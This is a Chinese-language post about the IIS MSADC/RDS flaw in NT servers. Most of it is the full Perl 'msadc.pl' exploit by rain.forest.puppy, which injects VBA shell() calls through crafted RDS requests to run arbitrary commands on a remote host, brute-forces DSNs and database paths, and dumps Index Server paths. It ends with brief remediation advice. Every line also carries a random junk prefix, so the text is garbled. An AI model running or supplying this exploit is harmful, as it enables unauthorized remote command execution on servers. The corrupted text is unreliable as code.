IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,`A ? !.K$ B>y9fI 涉及程序：
j ZoNi Microsoft NT server
}/P5 >F<H[ B;K`q
描述：
!T,AdNa8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8}e,% {q 6\jf|: h 详细：
sj?3M@l95W 如果你没有时间读详细内容的话，就删除:
AJ^#eY5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
C1EtoOv K 有关的安全问题就没有了。
76cG90!Z ra N)8w}- 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q my%J 1xE]6he4{T 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,m<H-gwa 关于利用ODBC远程漏洞的描述，请参看:
dq1:s 1 #-% A[7Cdp http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JPn$FQD k>jbcSY(z< 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_ee
dBpV http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7Q w|! 6x)$Dl 这里不再论述。
!R-z% s@hRqGd: 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YC_5YY (k !QI\Fz? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8v Sse 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
YW @#91. W1B)]IHc 9[c%J*r #将下面这段保存为txt文件，然后: "perl -x 文件名"
6r: ?;j~l 2`GE #!perl
:u 8(^]N #
S& #U!#@ # MSADC/RDS 'usage' (aka exploit) script
((tv2 #
z7M_1%DEx # by rain.forest.puppy
4MuO1W- #
2Qp Hvsl_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E{^ XlY # beta test and find errors!
f
h#C' sn h:zK(; use Socket; use Getopt::Std;
NLPkh,T: getopts("e:vd:h:XR", \%args);
bwM@/g%DL !o=U19) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`Q3s4VEC l!}:|N Yh! if (!defined $args{h} && !defined $args{R}) {
-<v~snq' print qq~
`@[c 8j7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
4wd& 55=2 -h <host> = host you want to scan (ip or domain)
2&c 9q5.b -d <seconds> = delay between calls, default 1 second
zA+~7;7E -X = dump Index Server path table, if available
)*; zW! H -v = verbose
'Jf^`ZT} -e = external dictionary file for step 5
!zj0/Q G\ /xGmg`g<# Or a -R will resume a command session
~c)~015` ^<e@uNGg ~; exit;}
mC?i}+4>4R 'TH15r@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6hZ@ ;Q=b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
G7--v,R1x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ZCKka0* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bl _ H4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y2]-&]& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K7Rpr. p >9RD_QG7 if (!defined $args{R}){ $ret = &has_msadc;
{u1V|q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
aL J(?8M@ )ZrS{vY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)o-Q!<*1 . "cmd /c ";
o?1 ;<gs $in=<STDIN>; chomp $in;
'>$]{vQ3 $command="cmd /c " . $in ;
E0%~! b s&\I =J. if (defined $args{R}) {&load; exit;}
B+^(ktZp@ \AL
f$88>@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!RyO\>:q &try_btcustmr;
\#o2\!@` /%_OW@ ? print "\nStep 2: Trying to make our own DSN...";
'13ZX: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
) ri}nL. [7_56\G4 print "\nStep 3: Trying known DSNs...";
|#6QThK &known_dsn;
3 ^s/bm$g
Bs?7:kN( print "\nStep 4: Trying known .mdbs...";
1]or UF&_ &known_mdb;
54
> - :Mm3
gW) if (defined $args{e}){
zIP6\u print "\nStep 5: Trying dictionary of DSN names...";
,g%&|FAP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
5~mh' <: Z2im@c67{ print "Sorry Charley...maybe next time?\n";
,`ZYvF^% exit;
+)2s-A f- `tjH< ##############################################################################
*tm0R> ?! JXyM\}9-X sub sendraw { # ripped and modded from whisker
Qne/g}PD` sleep($delay); # it's a DoS on the server! At least on mine...
~"UV]Udn my ($pstr)=@_;
gTA%uR Ba socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3 %.#}O,( die("Socket problems\n");
It2" x; if(connect(S,pack "SnA4x8",2,80,$target)){
)M__
t5L select(S); $|=1;
\:'%9 x print $pstr; my @in=<S>;
dCj,b$ select(STDOUT); close(S);
Q{B}ef return @in;
| 9~GM } else { die("Can't connect...\n"); }}
H[DUZ,J 3O7!`Nm@ ##############################################################################
$Of0n` e #j *d^j& sub make_header { # make the HTTP request
PJ='tJDj my $msadc=<<EOT
BD`2l!d POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
WVY\&|)$ User-Agent: ACTIVEDATA
]E ] 2o Host: $ip
1 "pw Content-Length: $clen
5jUYN-$GO Connection: Keep-Alive
C@jJ.^
<< $.9{if#o& ADCClientVersion:01.06
X JLQ { Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gY@N~'f;" J>u
7, --!ADM!ROX!YOUR!WORLD!
i hh/sPi Content-Type: application/x-varg
.BFYY13H Content-Length: $reqlen
Ok n(pJ0 tK&' <tZh EOT
5R i6Z#qm ; $msadc=~s/\n/\r\n/g;
F <hJp,q9 return $msadc;}
kWdi59 5 IpP~Uz ##############################################################################
qhT@;W/X 7O, U?p sub make_req { # make the RDS request
61xs%kxb.. my ($switch, $p1, $p2)=@_;
r k)##) my $req=""; my $t1, $t2, $query, $dsn;
Q>n|^y6 6M13f@v if ($switch==1){ # this is the btcustmr.mdb query
irN6g #B?
$query="Select * from Customers where City=" . make_shell();
<!pY$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!qX_I db\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
B/`
!K i86 >] elsif ($switch==2){ # this is general make table query
E*jP8 7g $query="create table AZZ (B int, C varchar(10))";
?s:d[To6 $dsn="$p1";}
5 Kkdo !z V*W;OiE_ 3 elsif ($switch==3){ # this is general exploit table query
3> Y 6) $query="select * from AZZ where C=" . make_shell();
gks{\ H ] $dsn="$p1";}
CZ nOui hGiz)v~ elsif ($switch==4){ # attempt to hork file info from index server
b, :QT~g= $query="select path from scope()";
`F/Tv 5@L $dsn="Provider=MSIDXS;";}
f%V4pzOc" }!6\|;Qsz, elsif ($switch==5){ # bad query
?wO-cnl $query="select";
y.[Mnj $dsn="$p1";}
e^O(e kYLM&&h $t1= make_unicode($query);
8>7& E- $t2= make_unicode($dsn);
9;veuX#( $req = "\x02\x00\x03\x00";
$ ^@ ) $req.= "\x08\x00" . pack ("S1", length($t1));
wQRZ"ri, $req.= "\x00\x00" . $t1 ;
L:9F:/G $req.= "\x08\x00" . pack ("S1", length($t2));
&LbJT$}V $req.= "\x00\x00" . $t2 ;
?:w1je7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E8-P"`Qba return $req;}
K# Jk _"W F{UP;"8' ##############################################################################
e @IA20 3;a<_cE*@ sub make_shell { # this makes the shell() statement
} Q";aU0^ return "'|shell(\"$command\")|'";}
u;` U*@ /tUy3myJ ##############################################################################
i\dc>C ; 3\Xbmq8} sub make_unicode { # quick little function to convert to unicode
0Q^Ikiv my ($in)=@_; my $out;
*k19LI.5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hX A6D) return $out;}
]8T!qS(UJd sVl -N&/ ##############################################################################
VZ\B<i C P6LHkM9 sub rdo_success { # checks for RDO return success (this is kludge)
Qci4J my (@in) = @_; my $base=content_start(@in);
i F+v l] if($in[$base]=~/multipart\/mixed/){
n/h,Lr)Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%? m$`9 yU return 0;}
b?Ki;[+ O {Lm~r+
U ##############################################################################
&\Amn?Iq ?.YOI.U^ sub make_dsn { # this makes a DSN for us
sq;s]@~ my @drives=("c","d","e","f");
Ybn`3 print "\nMaking DSN: ";
N&M~0iw foreach $drive (@drives) {
Yh>]-SCw print "$drive: ";
1 CHeufQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ry|!pV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8KRba4[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6qp%$>$Vt; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[/X4"D-uOK return 0 if $2 eq "404"; # not found/doesn't exist
ldp%{"ZZ if($2 eq "200") {
L@gWzC~?Q foreach $line (@results) {
LU 9A# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6qaulwV4t } return 0;}
ndeebXw* 46 PoM ##############################################################################
0A( +ZMd :duo#w"K sub verify_exists {
=dFv/F/RW my ($page)=@_;
W]nSR RWco my @results=sendraw("GET $page HTTP/1.0\n\n");
|<GDUwC_; return $results[0];}
$ mI0Bk vPD] hs ##############################################################################
|M+< m">E rs ~wv(' sub try_btcustmr {
ObiT-D?)g my @drives=("c","d","e","f");
Z"A Qp _ my @dirs=("winnt","winnt35","winnt351","win","windows");
rSJ9 v : ?| 39u{ foreach $dir (@dirs) {
9[^gAR print "$dir -> "; # fun status so you can see progress
|gU(s foreach $drive (@drives) {
q5#J~n8Wr print "$drive: "; # ditto
ma((2My'H $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B:+6~&,- $reqlenlen=length( "$reqlen" );
O/<K!;(@? $clen= 206 + $reqlenlen + $reqlen;
,L`$09\ FD8 N"p my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|Z*J/v'@p if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}5 (Ho$S( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ka 3u&3" ]X^rU`": ##############################################################################
t 8dm)s[r8 PoT`}-9 sub odbc_error {
M-giR:, my (@in)=@_; my $base;
AqV7 \gdOC my $base = content_start(@in);
pi
,eIm if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o5Q {/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
IzpZwx^3'' $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8A+SjJ4$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GO^_=EMR[ return $in[$base+4].$in[$base+5].$in[$base+6];}
G rk@dZI print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G 8V, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Bn(W" =1 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
H V;D?^F qIAoA . ##############################################################################
gwWN%Z" YE9,KVV;$n sub verbose {
dtc IC0:[ my ($in)=@_;
6#Q K%[1!> return if !$verbose;
Qu]z)";7 print STDOUT "\n$in\n";}
4'LB7}WG mD/MJt5 ##############################################################################
7Ddaf> FGh] S- A sub save {
H
`(exa:w my ($p1, $p2, $p3, $p4)=@_;
nVI! @qW open(OUT, ">rds.save") || print "Problem saving parameters...\n";
E,f>1meN= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p^'3Odd|O close OUT;}
PgRDKygE }sOwp}FV8X ##############################################################################
<,>P 0tY} H(&4[%;MP sub load {
T9879[ZU\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>G~R,{6U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
f`&dQ,; @p=<IN>; close(IN);
eR3$i)5 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ryFxn|4 $target= inet_aton($ip) || die("inet_aton problems");
DmOyBtj print "Resuming to $ip ...";
'GL*u#h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^J\~XYg{7 if($p[1]==1) {
`ck$t5:6sp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,Uy|5zv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
j7)Ao*WN my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
FTeu~<KpM if (rdo_success(@results)){print "Success!\n";}
$O*O/ iG else { print "failed\n"; verbose(odbc_error(@results));}}
xQp|;oW;z elsif ($p[1]==3){
T
N!= @Gy if(run_query("$p[3]")){
^*fxR]Y print "Success!\n";} else { print "failed\n"; }}
-G| G_$9 elsif ($p[1]==4){
/ 0eYMG+K= if(run_query($drvst . "$p[3]")){
rQaxr! print "Success!\n"; } else { print "failed\n"; }}
W[}s o6 exit;}
"|HDGA5 HuV J\%. ##############################################################################
R%c SJ8O# X B_ B4X1R sub create_table {
7ek&[SJ>,/ my ($in)=@_;
MG{YrX) oi $reqlen=length( make_req(2,$in,"") ) - 28;
HX6Ma{vBk $reqlenlen=length( "$reqlen" );
&|` C)6[C $clen= 206 + $reqlenlen + $reqlen;
kGN+rHo my @results=sendraw(make_header() . make_req(2,$in,""));
"&%#!2 return 1 if rdo_success(@results);
h)Ff2tX my $temp= odbc_error(@results); verbose($temp);
!0dNQ[$82 return 1 if $temp=~/Table 'AZZ' already exists/;
A+UU~?3y return 0;}
?K3(D;5
&i Rv/Bh< t ##############################################################################
zrU{@z$l Usta0Ag sub known_dsn {
uZ=NSbYsA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
H/"lAXfb my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v%RP0 %%{s "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3dDX8M? "banner", "banners", "ads", "ADCDemo", "ADCTest");
kn/Ao}J74z YXI'gn2b# foreach $dSn (@dsns) {
l3IWoa&sh print ".";
>(snII next if (!is_access("DSN=$dSn"));
}YHX-e<Yx] if(create_table("DSN=$dSn")){
lbuAE% print "$dSn successful\n";
Y X_ gb/A if(run_query("DSN=$dSn")){
v$ub~ Q6W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$/7pYl\n print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q[d}J+l4{ k{<,\J ##############################################################################
;-Jb1"5 ScSZGs 5& sub is_access {
ru7RcYRq my ($in)=@_;
Dxk+P!!K $reqlen=length( make_req(5,$in,"") ) - 28;
B)QHM+[= F $reqlenlen=length( "$reqlen" );
9Fr3pRIJ $clen= 206 + $reqlenlen + $reqlen;
po}F6m8bX my @results=sendraw(make_header() . make_req(5,$in,""));
Ii:>xuF& my $temp= odbc_error(@results);
2 6>ZW4 Z verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{H{X[p8 return 0;}
=Z+nX0qF 7YAIA%8 ##############################################################################
y7|P-3[ 4w 0{j&6 I2 sub run_query {
" t0kAG my ($in)=@_;
yA3wtm/? $reqlen=length( make_req(3,$in,"") ) - 28;
8Y#\xzod $reqlenlen=length( "$reqlen" );
|> _!eS\=< $clen= 206 + $reqlenlen + $reqlen;
>pr=|$zk= my @results=sendraw(make_header() . make_req(3,$in,""));
dqX;#H}h return 1 if rdo_success(@results);
X~xd/M=9^ my $temp= odbc_error(@results); verbose($temp);
`w.AQ?p@ return 0;}
_H^^y$+1 W'on$mB5< ##############################################################################
-D^}S"' 5 IbJ sub known_mdb {
0j_bh,zG# my @drives=("c","d","e","f","g");
8O " U 0 my @dirs=("winnt","winnt35","winnt351","win","windows");
QL$S4 J" my $dir, $drive, $mdb;
%xQ.7~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.WQ+AE8Q 8x[YZ@iM- # this is sparse, because I don't know of many
/NFz4h => my @sysmdbs=( "\\catroot\\icatalog.mdb",
0=="^t_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\))=gu)I "\\system32\\certmdb.mdb",
vhb)2n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
u1c%T@w>Lz U-^[lWn[@4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
> MH(0+B* "\\cfusion\\cfapps\\forums\\forums_.mdb",
E~kG2x{a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$.:mai "\\cfusion\\cfapps\\security\\realm_.mdb",
$ F S_E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
)=DGdI Et "\\cfusion\\database\\cfexamples.mdb",
c~o+WI
Ym "\\cfusion\\database\\cfsnippets.mdb",
Q_vW3xz "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
U #~;)fZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]0r|_)s "\\cfusion\\brighttiger\\database\\cleam.mdb",
3 or\: "\\cfusion\\database\\smpolicy.mdb",
#YSF&*
"\\cfusion\\database\cypress.mdb",
;2m<CSv!D "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
:ah
5`nmPO "\\website\\cgi-win\\dbsample.mdb",
3!
~K^Z] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Mzd[fR5a8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$@i"un; ); #these are just
4R8G&8b foreach $drive (@drives) {
_pH{yhA foreach $dir (@dirs){
d`
Sr4c foreach $mdb (@sysmdbs) {
+B| 7p9qy print ".";
]p!Gt,rYq if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-TV?E%r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
cc44R|Kr$$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
cUO<. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{ccIxL
/~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
7_# 1Ec|; DS xUdEK6 foreach $drive (@drives) {
.6~`Ubr}E foreach $mdb (@mdbs) {
**>/}.%?K print ".";
/xJqJ_70X if(create_table($drv . $drive . $dir . $mdb)){
g ` >og^7g print "\n" . $drive . $dir . $mdb . " successful\n";
R3X{:1{j if(run_query($drv . $drive . $dir . $mdb)){
{w
<+_++ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pZZf[p^s| } else { print "Something's borked. Use verbose next time\n"; }}}}
RL[E X5U }
.O0O-VD+a 9GdB#k6W` ##############################################################################
3u33 a"nL8 8by@iQ sub hork_idx {
Y $ -3v. print "\nAttempting to dump Index Server tables...\n";
9,]5v + print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
?tg
y| $reqlen=length( make_req(4,"","") ) - 28;
`O6:t\d@ $reqlenlen=length( "$reqlen" );
k6Cn"2q < $clen= 206 + $reqlenlen + $reqlen;
>b.^kc my @results=sendraw2(make_header() . make_req(4,"",""));
/b;K if (rdo_success(@results)){
j!z-)p8hy my $max=@results; my $c; my %d;
C_ LvZ= for($c=19; $c<$max; $c++){
Z"s|]K " $results[$c]=~s/\x00//g;
_e!F~V. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
i5F:r| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
* xR
2) u $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
m%#`y\]I $d{"$1$2"}="";}
j' p 1q foreach $c (keys %d){ print "$c\n"; }
+([!A6:
} else {print "Index server doesn't seem to be installed.\n"; }}
yGp z,X4x MEiRj]t ##############################################################################
OU7 %V)X5 0D~ C
5}/4 sub dsn_dict {
tD$lNh^ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
N]YtLa,t while(<IN>){
Ejq#~Zhr! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{I{:GcS next if (!is_access("DSN=$dSn"));
$ex!!rqN| if(create_table("DSN=$dSn")){
{0YAzZ7 print "$dSn successful\n";
N{d@^Yj if(run_query("DSN=$dSn")){
Br d ,Eg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Cz^Q5F ` print "Something's borked. Use verbose next time\n";}}}
fYrGpW( ` print "\n"; close(IN);}
(ozb%a#B O3NWXe< ##############################################################################
[t0rfl{. /b,TpuM^ sub sendraw2 { # ripped and modded from whisker
T{vR, sleep($delay); # it's a DoS on the server! At least on mine...
iwY'4 Z
e my ($pstr)=@_;
YW;
Hk1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y 0ckm6^ die("Socket problems\n");
P|jF6?C if(connect(S,pack "SnA4x8",2,80,$target)){
=GR 'V print "Connected. Getting data";
o {-<L open(OUT,">raw.out"); my @in;
;2giZ\ select(S); $|=1; print $pstr;
f*xpE`& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<JI&
{1 close(OUT); select(STDOUT); close(S); return @in;
_2vd`k } else { die("Can't connect...\n"); }}
H' J| U| %1:c hvS ##############################################################################
'q%%m/,VPQ Ps R>V)L sub content_start { # this will take in the server headers
Cef: tdk7 my (@in)=@_; my $c;
#< CIFVH for ($c=1;$c<500;$c++) {
BC\S/5~k if($in[$c] =~/^\x0d\x0a/){
+1; 'B4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\.s` n2.w else { return $c+1; }}}
,R wfp=*E return -1;} # it should never get here actually
gmSQcN) ,7d|O}B ##############################################################################
o `r(`6@ YT yX`Y# sub funky {
+iF
1sC_ my (@in)=@_; my $error=odbc_error(@in);
#^mqQRpgq if($error=~/ADO could not find the specified provider/){
1x >iz
`A print "\nServer returned an ADO miscofiguration message\nAborting.\n";
KhM.Tc exit;}
:]e b<J
if($error=~/A Handler is required/){
Bo\D. a(T print "\nServer has custom handler filters (they most likely are patched)\n";
2>hz_o{5', exit;}
. \5$MIF if($error=~/specified Handler has denied Access/){
(%< ' A print "\nServer has custom handler filters (they most likely are patched)\n";
]re'LC!d exit;}}
%c6E-4b Jfg7\&| ##############################################################################
NO>k ]7qiUdxt: sub has_msadc {
fUcLfnr my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)fh0&Y; R my $base=content_start(@results);
et $ uP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
qSiWnN8D
t return 0;}
H}b\`N[nr -fIc4u[ ########################
IjZ@U%g@; !Ua&0s% 0\a8}b|| 解决方案：
?~2Bi^ W5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!0fI"3P@r 2、移除web 目录: /msadc
